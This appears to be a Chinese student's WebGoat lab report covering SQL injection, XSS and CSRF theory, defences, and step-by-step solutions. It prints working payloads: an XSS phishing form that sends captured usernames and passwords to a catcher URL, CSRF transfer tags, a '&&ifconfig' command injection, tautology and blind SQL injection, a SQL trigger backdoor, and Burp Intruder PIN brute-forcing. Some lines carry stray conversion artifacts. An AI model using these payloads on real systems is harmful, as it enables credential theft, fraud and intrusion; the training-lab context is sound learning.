本實踐的目標理解經常使用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。java
(1)SQL注入攻擊原理,如何防護git
原理:github
SQL注入是針對數據庫的一種攻擊方式。攻擊者會將一些惡意代碼插入到字符串中,將該字符串傳遞到SQLServer數據庫的實例中進行分析和執行。主要形式有兩種。一是直接將代碼插入到與SQL命令串聯在一塊兒並使得其以執行的用戶輸入變量,也被稱爲直接注入式攻擊法。二是一種間接的攻擊方法,它將惡意代碼注入要在表中存儲或者做爲原數據存儲的字符串。在存儲的字符串中會鏈接到一個動態的SQL命令中,以執行一些惡意的SQL代碼。web
防護:sql
1>普通用戶與系統管理員用戶的權限要有嚴格的區分.數據庫
在權限設計中,對於終端用戶,即應用軟件的使用者,沒有必要給他們數據庫對象的創建、刪除等權限。那麼即便在他們使用SQL語句中帶有嵌入式的惡意代碼,因爲其用戶權限的限制,這些代碼也將沒法被執行。瀏覽器
2>強迫使用參數化語句.安全
若是在編寫SQL語句的時候,用戶輸入的變量不是直接嵌入到SQL語句。而是經過參數來傳遞這個變量的話,那麼就能夠有效的防治SQL注入式攻擊。也就是說,用戶的輸入絕對不可以直接被嵌入到SQL語句中。服務器
3>增強對用戶輸入的驗證。cookie
測試字符串變量的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和註釋字符的輸入內容。這有助於防止腳本注入,防止某些緩衝區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助於防止有意形成的緩衝區溢出,對於防治注入式攻擊有比較明顯的效果.
(2)XSS攻擊的原理,如何防護
原理:
XSS跨站腳本攻擊,是Web程序中常見的漏洞,分三類,存儲型XSS、反射型XSS、DOM-XSS.XSS屬於被動式且用於客戶端的攻擊方式,攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。
防護:
1>完善的過濾體系
永遠不相信用戶的輸入。須要對用戶的輸入進行處理,只容許輸入合法的值,其它值一律過濾掉。
2>Html encode
假如某些狀況下,咱們不能對用戶數據進行嚴格的過濾,那咱們也須要對標籤進行轉換。
好比用戶輸入:
<script>window.location.href=」http://www.baidu.com」;</script>
,保存後最終存儲的會是:<script>window.location.href="http://www.baidu.com"</script>
在展示時瀏覽器會對這些字符轉換成文本內容顯示,而不是一段可執行的代碼。
(3)CSRF攻擊原理,如何防護
原理:
Cross-site+request+forgery跨站請求僞造,經過假裝來自受信任用戶的請求來利用受信任的網站,是一種對網站的惡意利用.
防護:
1>經過 referer、token或者驗證碼來檢測用戶提交。
2>儘可能不要在頁面的連接中暴露用戶隱私信息。
3>對於用戶修改刪除等操做最好都使用post操做。
4>避免全站通用的cookie,嚴格設置cookie的域。
BurpSuite捕獲不到報文問題解決,火狐瀏覽器中有個地方引發的:
不使用的代理,把這行去掉,就能夠了。如還有其它問題,請點擊連接查看:關於Burp Suite不能抓包的解決方法
本次實驗是最後一次了,通關模式的學習方法很新穎,雖然爲難英語水平...真的要好好學英語。忽然感受這學期也快過去了,有種作了一學期實驗的感受,哈哈哈哈,很是充實,收穫不少,不但收穫了知識,提升了動手能力,更重要的是提升了本身動腦思考解決問題的能力,不只在這門課,在從此各方面都有很重要的做用。感謝老師的指導與陪伴!o(^▽^)o
下載地址:https://github.com/WebGoat/WebGoat/releases
下載下來後將jar包放到kali中,輸入指令
java -jar webgoat-container-7.0.1-war-exec.jar
瀏覽器打開http://127.0.0.1:8080/WebGoat/login.mvc
輸入下方給出的用戶名和密碼便可登錄。
此題要在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色。咱們先建立一個form,讓受害人在咱們建立的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼。
代碼以下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
將這段代碼輸入到輸入框中:
點擊search出現以下登陸框,在登陸框中輸入用戶名、密碼:
點擊登陸後跳出彈框以下,攻擊成功!
存儲型XSS攻擊是持久化的,代碼是存儲在服務器中的,用戶訪問該頁面的時候觸發代碼執行。title任意輸入,Message輸入消息,嵌入一段js代碼,用戶點擊後便可觸發,
如在Message框中輸入script>alert("I'm zhanghuaijun");</script>
:
點擊提交後彈出對話框,攻擊成功!
它的特色是非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼。
在code框中輸入<script>alert("I'm zhanghuaijun");</script>
點擊Purchase出現對話框:
攻擊成功!
跨站請求僞造,儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。
查看頁面右邊Parameters中的src和menu值
在title框中任意輸入,message框中輸入代碼:<img src='attack?Screen=src值&menu=menu值&transferFunds=轉帳數額'>
提交後生成一個連接,點擊便可查看用戶操做的信息,攻擊成功!
此題包括了兩個請求,一是轉帳請求,二是確認轉帳成功請求,即須要額外傳遞兩個參數給服務器。查看頁面右邊Parameters中的src和menu值,並在title框中任意輸入,message框中輸入代碼:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
提交後生成一個連接,點擊後便可查看用戶操做的信息,成功轉出500,攻擊成功!
在目標主機上執行系統命令,能夠看到這一題的選擇框是一個下拉框,因而,咱們可使用火狐瀏覽器下的firebug對源代碼進行修改.
可是,我在個人瀏覽器上沒找到firebug,百度了下原來是個人瀏覽器是新版本的,新版本的火狐瀏覽器已經不支持firebug擴展,而且該擴展已經中止開發適配。 因此新版本的可使用火狐瀏覽器自帶的developtools(開發者工具)能夠完美替代firebug的調試做用。
兩種辦法,1:Tools->Web Developer->Toggle Tools
2: 右鍵,Inspect Element
開始修改,修改HelpFile的值爲AccessControlMatrix.help"&&ifconfig"
,其中的雙引號是爲了封閉原語句中的雙引號,&&在命令行中是執行另一條語句的意思.
點擊GO後,成功!
注入一條SQL語句來顯示所有天氣信息。能夠看到這一題的選擇框仍是一個下拉框,仍是用上面的developtools。
開始修改,station那裏有個複選框,能夠選擇查看相應城市的信息,每選擇一個城市,就會把該城市對應的station字段填入SELECT * FROM weather_data WHERE station = ?這條語句中,在數據庫後臺執行,並將從數據庫中獲得的搜索結果打印在屏幕上。咱們能夠隨便選擇一個城市,把它對應的station或上一個永真式,以下:
點擊go,成功!
在User Name文本框中輸入Smith%0d%0aLogin Succeeded for username: admin<script>alert(「20154304test」)</script>
達到欺騙登陸效果:
可看到smith登陸失敗,admin登陸成功。
構造永真式'or 1='1,第一個分號用來閉合原輸入語句的前一個分號,而第二個分號用來閉合原輸入語句的後一個分號
以下,攻擊就成功了,能夠顯示全部用戶的信息
stage1:String SQL Injection
使用字符串SQL注入繞過認證,登錄Boss(「Neville」)的帳號。
將password的最大長度maxlength改成20:
利用永真式,修改password=' or'1'='1,成功:
stage3:Numeric SQL Injection
用員工帳號登錄,進入員工頁面後再經過SQL注入來查看老闆的帳戶信息,先用剛纔的方法選擇一名員工登陸。
從源代碼中看一下在數據庫中查找的方式,發現傳遞的參數是員工ID,想要調出老闆帳戶信息,就得把老闆排在id能夠預測的位置,通常來講老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --
,這樣老闆的信息就會被排到第一個:
點擊viewprofile按鍵,可成功看到老闆的帳戶:
利用SQL輸入插入後門,首先是一個SQL注入點,能夠經過數字注入看到全部人的薪水,而後使用如下SQL指令能夠修改薪水
在User ID輸入框輸入101 or 1=1;update employee set salary = 100000
,點擊提交,以下圖所示:
使用SQL注入注入一個後門,建立新用戶的時候修改郵箱爲你的郵箱
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
點擊提交,以下圖所示:
數字盲注,此題的要求是找到pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值,從服務端頁面返回的信息中能夠知道,它只告訴你兩種信息:賬號有效或無效。
輸入語句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000);
查看pin數值是否大於5000
在0-5000之間,用折半查找繼續試
在0-2500之間
在1250-2500之間
在2000-2500之間
使用BurpSuite,截獲報文進行暴力破解,在BurpSuite中依次選擇Proxy->Options->Add新添加一個端口,4304,點擊確認後會在Options下增長一行,勾選新造成的這一行:
在瀏覽器進行手動代理設置點擊瀏覽器右上方的更多選項卡,選擇preference
在頁面左側選擇advanced,選擇network頁標籤,在connection那一行選擇settings…
設置代理服務器和端口(要與BurpSuite中綁定的一致)
在webgoat端點擊go,捕獲到了報文,右鍵選擇send to intruder
而後在Intruder下選擇相關設置:在Target中,設置本機IP地址HOST,和端口號,也就是WebGoat的地址和端口號。
在Positions中,選擇Sniper模式,而後用光標選中須要暴力窮舉的變量,在此處是account_number後的值,而後點擊右側的add添加
在Payloads中,選擇type類型爲number,而後設置變化範圍2000-2500,並設置步長爲1
而後點擊右上方Start attack開始攻擊
找到數據包大小變化的位置2364,用2364試一下,成功!